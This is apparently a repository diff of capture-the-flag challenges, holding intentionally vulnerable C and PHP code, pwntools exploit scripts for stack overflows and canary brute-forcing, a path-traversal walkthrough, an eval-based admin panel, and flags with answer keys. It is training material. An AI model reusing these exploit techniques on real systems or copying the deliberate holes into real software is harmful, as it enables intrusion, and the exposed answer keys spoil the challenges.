# print([bytes.int2byte(x) for x in Flag.getpixel((x, y))], end="\t - \t")
revert.putpixel((x, y), extract(newImg.getpixel((x, y))))
# print("---\n")
revert.save("revert.png")

BIN
Waldo/revert.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 18 KiB

8
bliep/Dockerfile Normal file
View File

@ -0,0 +1,8 @@
FROM ubuntu
COPY bliep /bliep
RUN chmod +x /bliep
RUN useradd ctf
USER ctf
CMD ["/bliep"]

25
bliep/README Normal file
View File

@ -0,0 +1,25 @@
== Bliep ==
=== Description ===
We found the partial source code for some online service. Can you figure out how to extract the flag?
=== Flag ===
CSC{K03k735_Z1jn_73kker}
=== Public Files ===
bliep_clean.c should be given
=== Challenge internals ===
Off-by-one error, allow the null byte of the name string to have no null terminator. If the age field is set to a number which does not contain null bytes, then when the name is printed it will print name+age+flag.
+----------------------PERSON---------------+------------+
| 28 bytes NAME | 8 bytes AGE | FLAG |
+-------------------------+-----------------+------------+
=== Deployment instructions ===
TODO, something something netcat?

BIN
bliep/bliep Executable file

Binary file not shown.

62
bliep/bliep.c Normal file
View File

@ -0,0 +1,62 @@
#include <stdio.h>
#include <string.h>
void read(char *res, int maxsize);
struct Person {
char name[28];
int age;
};
void printPerson(struct Person *p) {
printf("%s is %d years old\n", p->name, p->age);
}
void readPerson(struct Person *p) {
printf("Enter your name: ");
fflush(stdout);
read(p->name, sizeof p->name);
do {
printf("Enter your age: ");
fflush(stdout);
scanf("%d", &p->age);
} while (p->age < 0);
}
void read(char *res, int maxsize) {
/* initialize each element to 0 to ensure that the result is null terminated */
char buffer[1024] = {0};
int ch;
int i = 0;
// break on newline, max size or end-of-file
while((ch=getchar()) != '\n' && i < maxsize)
{
if (ch == EOF) break;
buffer[i++] = ch;
}
memcpy(res, buffer, maxsize);
}
void greet() {
struct Person p;
char flag[32];
strcpy(flag, "CSC{K03k735_Z1jn_73kker}");
readPerson(&p);
printPerson(&p);
if (strcmp(p.name, flag) == 0) {
printf("Wauw, you have the same name as our flag!");
}
}
int main()
{
greet();
return 0;
}

60
bliep/bliep_clean.c Normal file
View File

@ -0,0 +1,60 @@
#include <stdio.h>
#include <string.h>
void read(char *res, int maxsize);
struct Person {
char name[28];
int age;
};
void printPerson(struct Person *p) {
printf("%s is %d years old\n", p->name, p->age);
}
void readPerson(struct Person *p) {
printf("Enter your name: ");
read(p->name, sizeof p->name);
do {
printf("Enter your age: ");
scanf("%d", &p->age);
} while (p->age < 0);
}
void read(char *res, int maxsize) {
/* initialize each element to 0 to ensure that the result is null terminated */
char buffer[1024] = {0};
int ch;
int i = 0;
// break on newline, max size or end-of-file
while((ch=getchar()) != '\n' && i < maxsize)
{
if (ch == EOF) break;
buffer[i++] = ch;
}
memcpy(res, buffer, maxsize);
}
void greet() {
struct Person p;
char flag[32];
strcpy(flag, "<REMOVED>");
readPerson(&p);
printPerson(&p);
if (strcmp(p.name, flag) == 0) {
printf("Wauw, you have the same name as our flag!");
}
}
int main()
{
greet();
return 0;
}

17
call_me_maybe/Dockerfile Normal file
View File

@ -0,0 +1,17 @@
FROM ubuntu
RUN mkdir /src
WORKDIR /src
COPY call_me_maybe.c .
RUN apt-get update && \
apt-get install -y build-essential
RUN gcc -fno-stack-protector -o call_me_maybe call_me_maybe.c
RUN cp /src/call_me_maybe /
RUN rm -r /src
RUN chmod +x /call_me_maybe
RUN useradd ctf
USER ctf
CMD ["/call_me_maybe"]

28
call_me_maybe/README Normal file
View File

@ -0,0 +1,28 @@
== Call me maybe ==
=== Description ===
We are given a mysterious address, can we use it to recover the flag?
=== Flag ===
Whatever is set in the environment variable IG_FLAG
=== Public Files ===
No file should be given
=== Challenge internals ===
Classical buffer overflow, replace the return address with address given, this will print the flag.
Basically, just enter 40 A's and the address in little endian.
+-------------------------+-----------------+-----------------+
| 32 byte buffer | EBP 8 bytes | RET ADDR |
+-------------------------+-----------------+-----------------+
^replace with A ^replace with A ^replace with addr
=== Deployment instructions ===
TODO, something something netcat?

BIN
call_me_maybe/call_me_maybe Executable file

Binary file not shown.

View File

@ -0,0 +1,39 @@
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void printflag() {
printf("The flag is %s\n", getenv("IG_FLAG"));
fflush(stdout);
}
void login() {
char buffer[32];
printf("Enter the password: \n");
fflush(stdout);
gets(buffer);
if(strcmp(buffer, getenv("IG_PASSWORD")))
{
printf ("Wrong!\n");
fflush(stdout);
}
else
{
printf ("Correct!\n");
fflush(stdout);
printflag();
}
}
int main()
{
printf("Pointer to printflag is %p\n", printflag);
fflush(stdout);
login();
return 0;
}

Binary file not shown.

View File

@ -0,0 +1,14 @@
from pwn import *
offset = 32
r = process('../call_me_maybe')
stdout = r.recvuntil("Pointer to printflag is 0x")
addr = int(r.recvuntil("\n"), 16)
print("Pointer is %x" % addr)
exploit = "A"*offset + "B"*8 + p64(addr)
r.sendline(exploit)
print(r.recv())

8
call_me_maybe/test.sh Executable file
View File

@ -0,0 +1,8 @@
#!/bin/bash
gcc -fno-stack-protector -o call_me_maybe call_me_maybe.c
export IG_PASSWORD=random_password
export IG_FLAG="CSC{IG_CTF}"
./call_me_maybe

29
call_me_more/README Normal file
View File

@ -0,0 +1,29 @@
== Call me more ==
=== Description ===
We are given a mysterious address, can we use it to recover the flag? It doesn't seem to be as easy as the last time.
=== Flag ===
Whatever is set in the environment variable IG_FLAG
=== Public Files ===
No file should be given
=== Challenge internals ===
Classical buffer overflow, but with need to bruteforce the canary flag.
The binary is a tcp server, for every client it forks. Canary flags are shared between forked processes, so it's possible to bruteforce the canary by overflowing a byte of the canary and checking when the applications acts normal and when not. After the canary flag is bruteforced, just replace the ret addr with the given addr.
+-------------------------+-8bytes-+-----------------+-----------------+
| 32 byte buffer | CANARY | EBP 8 bytes | RET ADDR |
+-------------------------+--------+-----------------+-----------------+
^replace with A ^bruteforce ^replace with A ^replace with addr
=== Deployment instructions ===
The server runs by default on port 2345, just deploy in a docker container or something.

BIN
call_me_more/server Executable file

Binary file not shown.

113
call_me_more/server.c Normal file
View File

@ -0,0 +1,113 @@
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
int guard(int n, char *err)
{
if (n == -1)
{
perror(err);
exit(1);
}
return n;
}
int g_fd = 0;
void printflag()
{
printf("Hello!");
char *flag = getenv("IG_FLAG");
send(g_fd, flag, strlen(flag), 0);
send(g_fd, "\n", 1, 0);
}
int login(int fd)
{
g_fd = fd;
char pw[32] = {0};
char *pwd = "Enter the password:\n";
char *correct = "Correct!\n";
printf("%x\n",(long)*(&pw + 32 + 8));
sprintf(pw, "%s\r\n", getenv("IG_PASSWORD"));
char buf[32];
send(fd, pwd, strlen(pwd), 0);
ssize_t num_bytes_received = guard(recv(fd, buf, 96, 0), "Could not recv on TCP connection");
if (num_bytes_received <2)
return 0;
//buf[num_bytes_received-2] = 0;
if (strcmp(buf, pw))
{
return 0;
}
else
{
send(fd, correct, strlen(correct), 0);
printflag(fd);
return 1;
}
}
int main(void)
{
char *wrong = "Wrong!\n";
int opt = 1;
int listen_fd = guard(socket(AF_INET, SOCK_STREAM, 0), "Could not create TCP socket");
printf("Created new socket %d\n", listen_fd);
struct sockaddr_in listen_addr = {0};
listen_addr.sin_family = AF_INET;
listen_addr.sin_addr.s_addr = htonl(INADDR_ANY);
listen_addr.sin_port = htons(2345);
guard(setsockopt(listen_fd, SOL_SOCKET, SO_REUSEADDR | SO_REUSEPORT,
&opt, sizeof(opt)),
"could not set opt");
guard(bind(listen_fd, (struct sockaddr *)&listen_addr, sizeof(listen_addr)), "Could not bind");
guard(listen(listen_fd, 100), "Could not listen on TCP socket");
printf("Listening for connections on port %d\n", ntohs(listen_addr.sin_port));
for (;;)
{
int conn_fd = accept(listen_fd, NULL, NULL);
printf("Got new connection %d\n", conn_fd);
if (guard(fork(), "Could not fork") == 0)
{
pid_t my_pid = getpid();
printf("%d: forked\n", my_pid);
char buf[100];
sprintf(buf, "Pointer to printflag is %p\n", printflag);
guard(send(conn_fd, buf, strlen(buf), 0), "Could not send to TCP connection");
if (!login(conn_fd)) {
send(conn_fd, wrong, strlen(wrong), 0);
}
printf("%d: received end-of-connection; closing connection and exiting\n", my_pid);
guard(shutdown(conn_fd, SHUT_WR), "Could not shutdown TCP connection");
guard(close(conn_fd), "Could not close TCP connection");
exit(0);
}
else
{
// Child takes over connection; close it in parent
close(conn_fd);
}
}
return 0;
}

View File

@ -0,0 +1,42 @@
from pwn import *
context.log_level = 'error'
offset = 32
y = 0
buf = ("A"*offset + "B"*8) #+ p64(0xead62b27d92cf000) # +chr(0)+chr(191)+chr(217)+chr(151)+chr(59)+chr(107)+chr(161)+chr(22)
i=0
g=0
while i != 0x100 and g<8:
r = remote('127.0.0.1', 2345)
r.recvuntil("Pointer to printflag is 0x")
addr = int(r.recvuntil("\n"), 16)
#print("Pointer is %x" % addr)
exploit = buf + chr(i) #+ p64(addr)
r.send(exploit)
try:
r.recvuntil("Wrong!")
buf = buf + chr(i)
print(str(i))
i=0
g=g+1
except:
print ".",
i=i+1
r.close()
r = remote('127.0.0.1', 2345)
stdout = r.recvuntil("Pointer to printflag is 0x")
addr = int(r.recvuntil("\n"), 16)
print("Pointer is %x" % addr)
exploit = buf + p64(addr) + p64(addr)
print(exploit)
r.send(exploit)
print(r.recv())

8
call_me_more/test.sh Executable file
View File

@ -0,0 +1,8 @@
#!/bin/bash
gcc -o server server.c
export IG_PASSWORD=random_password
export IG_FLAG="CSC{IG_CTF}"
./server

16
parentheses/README.md Normal file
View File

@ -0,0 +1,16 @@
# Parentheses
## Description
I found a lot of parenthesis when I was cleaning my attic.
Since I had no use for them, I threw them all in this little scheme program.
It seems to have obfuscated my code a bit though, I can't seem to figure out what it does...
Can you help me out here?
## Given files
mystery.rkt
## Flag
IG{ImAllOutOfParenthesisNow:(}
## Solution
The solution can be found in reverse.rkt

14
parentheses/mystery.rkt Normal file
View File

@ -0,0 +1,14 @@
#lang racket
(define (read-flag)
(let ((args (current-command-line-arguments)))
(cond
((= (vector-length args) 0)
(displayln "No flag given")
(exit))
(else
(fun (vector-ref args 0))))))
(define fun (((((((((((((λ (a) (λ (b) (λ (c) (λ (d) (λ (i) (λ (j) (λ (e) (λ (g) (λ (p) (λ (q) (λ (r) (λ (s) (λ (f) (((((a (c q (c (i e s) (c (i q s) (c (i p r) (c (i e j) (c d (b f)))))))) g) (λ (g) (displayln "Thats the flag!"))) (λ (h) (displayln "Not the flag :("))) f)))))))))))))) ((λ (f) (λ (a) (λ (b) (if (f a b) (λ (x) (λ (y) x)) (λ (x) (λ (y) y)))))) equal?)) string->list) map) char->integer) curry) 42) bitwise-xor) '(166 210 154 166 110 214 100 100 162 190 180 162 152 204 150 144 158 104 180 124 158 138 102 138 168 98 178 32 -4 142)) *) -) 2) 20))
(read-flag)

13
parentheses/reverse.rkt Normal file
View File

@ -0,0 +1,13 @@
#lang racket
(define start '(166 210 154 166 110 214 100 100 162 190 180 162 152 204 150 144 158 104 180 124 158 138 102 138 168 98 178 32 -4 142))
(define d (map - start))
(define x (map (curry bitwise-xor 20) d))
(define dd (map - x))
(define y (map (curry + 20) dd))
(define z (map (λ (x) (/ x 2)) y))
(define a (map (curry bitwise-xor 42) z))
(define b (map integer->char a))
(define c (list->string b))
c

View File

@ -0,0 +1,3 @@
{
#format : #tonel
}

View File

@ -0,0 +1,19 @@
Class {
#name : #Challenge,
#superclass : #Object,
#category : #CTF
}
{ #category : #decoration }
Challenge class >> prepare [
Metaclass compile:'>> selector LookupError signal'.
]
{ #category : #accessing }
Challenge >> flag [
| caller |
caller := thisContext client.
((caller class) = Squeak) ifTrue: [ ^ 'FLAG' ].
^ 'Only a Squeak can do that'.
]

View File

@ -0,0 +1,5 @@
Class {
#name : #InitialisationError,
#superclass : #Error,
#category : #CTF
}

View File

@ -0,0 +1,5 @@
Class {
#name : #LookupError,
#superclass : #Error,
#category : #CTF
}

View File

@ -0,0 +1,35 @@
Class {
#name : #REPL,
#superclass : #Object,
#category : #CTF
}
{ #category : #running }
REPL class >> run [
| running command answer |
running := true.
Transcript show:'Welcome to Pharo 7.0 (Smalltalk Environment) Pharo.org'; cr; cr;
show: 'To get started create an instance of the class Challenge and, like so:'; cr;
show: '> Challenge new.'; cr;
show: 'This wil result in a value called "a Challenge"'; cr;
show: 'To obtain the flag run the following'; cr;
show: '> Challenge new flag.'; cr; cr;
show: 'Does it show up? '; cr.
[ 5 minutes wait. running := false. ] fork.
[ running ] whileTrue: [
Transcript show:'> '.
command := FileStream stdin nextLine .
(command = 'exit') ifTrue: [
running := false
] ifFalse: [
answer := [self class compiler evaluate: command] on:Exception do: [ :exception | Transcript show: 'Whoops, an error occured '. exception asString ] .
Transcript show:answer asString .
Transcript cr.
]
].
^ nil.
]

View File

@ -0,0 +1,15 @@
Class {
#name : #Squeak,
#superclass : #Object,
#category : #CTF
}
{ #category : #'instance creation' }
Squeak class >> basicNew [
InitialisationError signal.
]
{ #category : #'as yet unclassified' }
Squeak >> fetchFlag [
^ Challenge flag.
]

View File

@ -0,0 +1 @@
Package { #name : #CTF }

View File

@ -0,0 +1,161 @@
Looking in to the mirror
============================
## Introduction
This challenge was about employing reflection techniques to modify and view internal structures of the virtual machine.
Pharo is a Smalltalk environment, most widely known for its metaprogramming and reflection capabilities. Everything in Smalltalk is an object, and every object is an instance of a class, even a class itself is an instance of something (a metaclass).
The syntax of a Smalltalk program is relatively simple, the most important part is how to send messages (in other object oriented languages also called: invoking a method).
Lets say we want to send a message `newWithName` to a class `Person`, this can be achieved as follows:
```
p := Person newWithName:'Bram'.
```
Now the variable `p` contains a reference to an instance of the class `Person`.
Messages that can be send to classes themselves are defined on the metaclass of a class. In this case the metaclass is the `Person class` class. We can obtain a reference to a method itself by using the `>>` (lookup) operator:
```
(Person class)>>#newWithName
```
## The Challenge
The challenge consisted of connecting to a remote endpoint using netcat, which provided a Smalltalk REPL where Smalltalk expressions
could be executed.
The Pharo VM contained serveral user-defined classes:
* Challenge
* Squeak
The REPL suggested that you could obtain the flag by using:
```
Challenge new flag
```
however, when trying to do this, the REPL would yield that `only a Squeak could to that`, which means that the method `flag` could only be called from an instance of the class `Squeak`.
Luckily, the `Squeak` class contained a method named `fetchFlag`. So lets try to do this:
```
Squeak new fetchFlag.
```
This however, yields an initialisation error, suggesting that no instance of a `Squeak` could be created.
## Solution(s)
As Pharo has many ways to interact with classes and objects, the challenge has many solutions. Here, I will only present two possible solutions. One involves inspecting the method dictionnary of the `Challenge` class, the other involves overwriting the behaviour in the `Squeak` class that prevents its instance creation.
### Inspecting the Challenge class
Its is clear that we need to obtain some representation of the source of the `flag` method of the `Challenge` class.
We can try to obtain a reference to this method by using the lookup operator:
```
Challenge>>#flag
```
however, this results in a `LookupError`, the `Challenge` class seems to be too well protected.
However, Pharo has many ways to get references to methods, so we can try another one:
```
Challenge methodDict at:#flag
```
This seems to work well. Now we only need to print its source code.
```
(Challenge methodDict at:#flag) ast nodesDo: [:n | Transcript show: n; cr. ]
```
Which yields:
```
RBTemporaryNode(caller)
RBAssignmentNode(caller := thisContext client)
RBMessageNode(thisContext client)
RBThisContextNode(thisContext)
RBTemporaryNode(caller)
RBMessagifTrue: [ ^ 'IG{ImSoMetaEvenThisAcronym}' ])
RBMessageNode(caller class = Squeak)
RBMessageNode(caller class)
RBTemporaryNode(caller)
RBGlobalNode(Squeak)
RBBlockNode([ ^ 'IG{ImSoMetaEvenThisAcronym}' ])
RBSequenceNode(^ 'IG{ImSoMetaEvenThisAcronym}')
RBReturnNode(^ 'IG{ImSoMetaEvenThisAcronym}')
RBLiteralValueNode('IG{ImSoMetaEvenThisAcronym}')
RBReturnNode(^ 'Only a Squeak can do that (see Squeak>>#fetchFlag)')
RBLiteralValueNode('Only a Squeak can do that (see Squeak>>#fetchFlag)')
```
And there is our flag.
### Recompiling the Squeak class
Another way to solve this challenge is to allow the `Squeak` class to be initialised.
At first, we are not entirely sure why the `Squeak` class fails to initialise.
It could be that its `initialize` method has been overridden.
We can find out which methods have been overriden by retrieving the methods of the `Squeak` class.
```
Squeak methods
```
which only yields `Squeak>>#fetchFlag`. We can conclude that the `InitialisationError` is signaled elsewhere.
Maybe it is at the class side?
```
(Squeak class) methods
```
which yields `(Squeak class)>>#basicNew`.
Obtaining a reference to this method using `(Squeak class)>>#basicNew` yields:
```
basicNew InitialisationError signal.
```
Hence, we found the culprit. We can disable this behaviour by recompiling that method to something that just
delegates the `basicNew` message to its parent:
```
(Squeak class) compile: 'basicNew ^ super basicNew'
```
Now, we can try to get an instance of our `Squeak` again.
```
Squeak new.
```
Which, indeed, yields `a Squeak`, mission accomplished.
The last part of this solution consisted of calling the `fetchFlag` method on that instance:
```
Squeak new fetchFlag.
```
Which yields:
```
IG{ImSoMetaEvenThisAcronym}
Challenge
```
Success!

30
retro/README Normal file
View File

@ -0,0 +1,30 @@
== Retro ==
=== Description ===
Observe.
=== SSIDs ===
SSID1: f008ebc3e683dc297bffd0df3
SSID2: c0496bdf5847d16511d161ff4
SSID3: d16551df4e87c05b1bffffff5
SSID4: ffffffffffffc06101df6b7d0
SSID5: d16f45d14345d15545df757d1
SSID6: c05501ffe1ffce2bcfcba2252
=== Flag ===
IG{IkHouVanQR}
=== Public Files ===
No file should be given
=== Challenge internals ===
There are 6 ssids, if properly ordered (using the last digit) they form a binary stream representing a QR code that contains the flag.
=== Deployment instructions ===
Create 6 new networks on the unifi with the SSIDs

59
retro/writeup.md Normal file
View File

@ -0,0 +1,59 @@
# Retro
## Writeup
For this challenge, some information was broadcasted over the names of several wifi networks:
`ffffffffffffc06101df6b7d0`
`d16f45d14345d15545df757d1`
`c05501ffe1ffce2bcfcba2252`
`f008ebc3e683dc297bffd0df3`
`c0496bdf5847d16511d161ff4`
`d16551df4e87c05b1bffffff5`
If you analyse the names, you can see that they are hexadecimal numbers, 25 characters long. Each name represents some binary information. You might also note that every name ends in a number ranging from 0 to 5: this number signifies the order in which you should look at this data.
Thus, if you take the first 24 characters of every name in order and convert the full hexadimal string to binary you get the following data:
`111111111111111111111111111111111111111111111111110000000110000100000001110111110110101101111101110100010110111101000101110100010100001101000101110100010101010101000101110111110111010101111101110000000101010100000001111111111110000111111111110011100010101111001111110010111010001000100101111100000000100011101011110000111110011010000011110111000010100101111011111111111101000011011111110000000100100101101011110111110101100001000111110100010110010100010001110100010110000111111111110100010110010101010001110111110100111010000111110000000101101100011011111111111111111111111111`
The bytestream represents a monochrome image, if you replace every 0 with a ██ and every 1 with a ░░, you get the following (24x24) QR-code:
<pre>
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░██████████████░░░░████████░░██████████████░░
░░░░██░░░░░░░░░░██░░░░██░░██░░░░██░░░░░░░░░░██░░
░░░░██░░██████░░██░░░░██░░░░░░░░██░░██████░░██░░
░░░░██░░██████░░██░░████████░░░░██░░██████░░██░░
░░░░██░░██████░░██░░██░░██░░██░░██░░██████░░██░░
░░░░██░░░░░░░░░░██░░░░░░██░░██░░██░░░░░░░░░░██░░
░░░░██████████████░░██░░██░░██░░██████████████░░
░░░░░░░░░░░░░░░░░░░░░░████████░░░░░░░░░░░░░░░░░░
░░░░████░░░░░░██████░░██░░██░░░░░░░░████░░░░░░░░
░░░░████░░██░░░░░░██░░██████░░██████░░████░░██░░
░░░░░░░░████████████████░░██████░░░░░░██░░██░░░░
░░░░████████░░░░░░░░░░████░░░░██░░██████████░░░░
░░░░██░░░░░░████████░░██░░████░░██░░░░░░░░██░░░░
░░░░░░░░░░░░░░░░░░░░██░░████████░░░░██░░░░░░░░░░
░░░░██████████████░░████░░████░░██░░░░██░░██░░░░
░░░░██░░░░░░░░░░██░░██░░░░████████░░██████░░░░░░
░░░░██░░██████░░██░░░░████░░██░░██████░░██████░░
░░░░██░░██████░░██░░░░████████░░░░░░░░░░░░░░░░░░
░░░░██░░██████░░██░░░░████░░██░░██░░██░░██████░░
░░░░██░░░░░░░░░░██░░████░░░░░░██░░████████░░░░░░
░░░░██████████████░░██░░░░██░░░░██████░░░░██░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
</pre>
Scanning it with a QR-code reader will give you the flag, `IG{IkHouVanQR}`.
## Challenge name
The 'retro' name is a pointer to the homebrew programming community, where hackers actively create new games and programs for many retro gaming consoles.
Representing images (commonly known as sprites) as hexadecimal numbers is a very common practice.

16
very-old-website/docker.sh Executable file
View File

@ -0,0 +1,16 @@
#!/bin/bash
docker run -d \
-p 8010:80 \
-v $PWD/php-config.ini:/usr/local/etc/php/conf.d/extra.ini:ro \
-v $PWD/src:/var/www/html:ro \
-v $PWD/password.txt:/password.txt:ro \
-v $PWD/init.sh:/sbin/challenge-init.sh:ro \
--read-only \
--tmpfs /var \
--tmpfs /sessions \
--name very-old-website \
--env CTF_FLAG="IG{3-0PHP0IS0FUN0!}" \
--restart=unless-stopped \
php:7.2-apache \
bash /sbin/challenge-init.sh

5
very-old-website/init.sh Normal file
View File

@ -0,0 +1,5 @@
#!/bin/bash
mkdir -p /var/log/apache2/
ln -sf /proc/$$/fd/1 /var/log/apache2/access.log
ln -sf /proc/$$/fd/2 /var/log/apache2/error.log
apache2-foreground

View File

@ -0,0 +1,2 @@
Username: admin
Password: unhackable-super-secure-password-1234

View File

@ -0,0 +1,3 @@
disable_functions=exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,unlink,file_put_contents,fopen,fputs,fwrite,rmdir,popen,move_uploaded_file,disk_free_space,disk_total_space,diskfreespace,delete,copy,chmod,chown,clearstatcache
allow_url_fopen=Off
allow_url_include=Off

View File

@ -0,0 +1,50 @@
**Title:** Very Old Website
**Description:** We have checked our very old website whether it contains a vulnerability. But lucky we were unable to find anything. Can you check, just to be sure?
**Flag:** Three flags (of different levels)
- `IG{1-IchBinKeinNetScapeNavigator}`
- `IG{2-GoodJobCoconut}`
- `IG{3-0PHP0IS0FUN0!}`
**Hints:**
- First flag: `Mozilla/5.0`
- Second flag: `Read the REAL /password.txt`
- Third flag: `$PS1, $PWD, $UID, $SHELL`
**Files given:** _None_
**How the challenge works:**
1. Change the useragent to `Navigator/` (or a real Netscape useragent string)
2. First flag: `X-Flag` header on `/`
3. Read `http://ip/robots.txt`
4. Fake files: `http://ip/password.txt`, and `http://ip/flag.txt`
5. Check source of `http://ip/admin/`
6. See possible path vulnerability: `?p=login.php`
7. Try `?p=../../../../../../password.txt`
8. Does not work, `..` replaced with `.`
9. Retry with `?p=.../.../.../.../.../.../password.txt`
10. Hurray password!
11. Log in using these credentials on `http://ip/admin/`
12. Hurray another flag: `<input type="hidden" name="flag">`
13. Remote Code Execution, send payload `phpinfo()` using admin panel.
14. Refresh `http://ip/`
15. Find third flag.
**How to deploy:**
```
./docker.sh
```
**How to stop:**
```
docker stop very-old-website
```
Container is automatically removed!

View File

@ -0,0 +1,13 @@
<?php
if (!isset($_SESSION["loggedin"])) { die(); }
if (isset($_POST["reset"])) {
@session_destroy();
@session_start();
$_SESSION["loggedin"] = true;
header("Location: ?p=panel.php");
die();
}
$_SESSION["code"] = isset($_POST["payload"]) ? $_POST["payload"] : "";
header("Location: ?p=panel.php");

View File

@ -0,0 +1,2 @@
</body>
</html>

View File

@ -0,0 +1,12 @@
<!DOCTYPE html>
<html>
<head>
<title>Admin Panel</title>
<style type="text/css">
textarea {
width: 100%;
height: 250pt;
}
</style>
</head>
<body>

View File

@ -0,0 +1,17 @@
<?php
require("../config.php");
if (!(isset($_GET["p"]))) {
$page = "main.php";
} else {
$page = str_replace("..", ".", $_GET["p"]);
}
while (strpos($page, "php://") !== false) {
$page = str_replace("php://", "", $page);
}
require("head.php");
require("./" . $page);
require("foot.php");

View File

@ -0,0 +1,16 @@
<?php
if ( (!isset($_POST["username"])) || (!isset($_POST["password"])) ) {
header("Location: /admin/");
}
$username = $_POST["username"];
$password = $_POST["password"];
if (($username === "admin") && ($password === "unhackable-super-secure-password-1234")) {
$_SESSION["loggedin"] = true;
header("Location: ?p=panel.php");
die("Login ok!");
}
die("Login not ok!");

View File

@ -0,0 +1,7 @@
<!-- Password is stored in /password.txt -->
<form action="?p=login.php" method="post">
Username: <input type="text" name="username"><br>
Password: <input type="password" name="password"><br>
<input type="submit" value="Log in &raquo;">
</form>

View File

@ -0,0 +1,10 @@
<?php
if (!isset($_SESSION["loggedin"])) { die("not logged in"); }
?>
<form action="?p=change.php" method="post">
<textarea name="payload"><?php echo(htmlentities($code)); ?></textarea><br>
<input type="submit" value="Update!">
<input type="submit" name="reset" value="Reset!">
<input type="hidden" name="flag" value="IG{2-GoodJobCoconut}">
</form>

View File

@ -0,0 +1,41 @@
<?php
error_reporting(E_ALL);
ob_start();
if (!(isset($_SERVER['HTTP_USER_AGENT']))) {
die("This website is only supported by Netscape Navigator");
}
if ( (strpos($_SERVER['HTTP_USER_AGENT'], "Netscape/") === false) &&
(strpos($_SERVER['HTTP_USER_AGENT'], "Navigator/") === false) ) {
die("This website is only supported by Netscape Navigator");
}
date_default_timezone_set('Europe/Brussels');
session_save_path("/sessions");
session_start();
if (!isset($_SESSION["code"])) {
$code = '
<?php
header("X-Flag: " . "IG{1-IchBinKeinNetScapeNavigator}");
?>
<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
<p>Hello Beautiful World!</p>
<hr>
<p><small><i>Page generated at <?php echo(date("Y/m/d h:i:sa")); ?></i></small></p>
</body>
</html>
';
$_SESSION["code"] = $code;
}
$code = $_SESSION["code"];

View File

@ -0,0 +1 @@
It's not *this* easy!

View File

@ -0,0 +1,3 @@
<?php
require_once("config.php");
eval("?>" . $code);

View File

@ -0,0 +1 @@
ERROR 404 - File removed for security reasons!

View File

@ -0,0 +1,7 @@
User-agent: *
Disallow: /cgi-bin/
Disallow: /tmp/
Disallow: /~root/
Disallow: /admin/
Disallow: /password.txt
Disallow: /flag.txt

17
weird_image/README.md Normal file
View File

@ -0,0 +1,17 @@
# Weird Image
## Description
Someone sent me this strange image.
Can you help me find its secret?
Flag format: IG{<flag>}
## Given files
weird_image.jpg
## Flag
IG{L3tsA11L0v3La1n}
## Solution
The flag is base64 encoded in the metadata of the image.
It can be found using e.g. strings or exiftool.

BIN
weird_image/weird_image.jpg Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 426 KiB

17
weird_image_2/README.md Normal file
View File

@ -0,0 +1,17 @@
# Weird Image 2
## Description
Someone just sent me another odd image.
I suspect there's something fishy about it as well.
## Flag
IG{uNgHzyEGupQGPxL3}
## Given files
weird_image_2.jpg
## Solution
The flag can be found in the thumbnail of the image.
The thumbnail can be extracted using exiftool.
The thumbnail contains the flag encoded in binary.
Read it from left to right, top to bottom, a bar without a hole in it is a 0, with a hole is a 1.

Binary file not shown.

After

Width:  |  Height:  |  Size: 804 KiB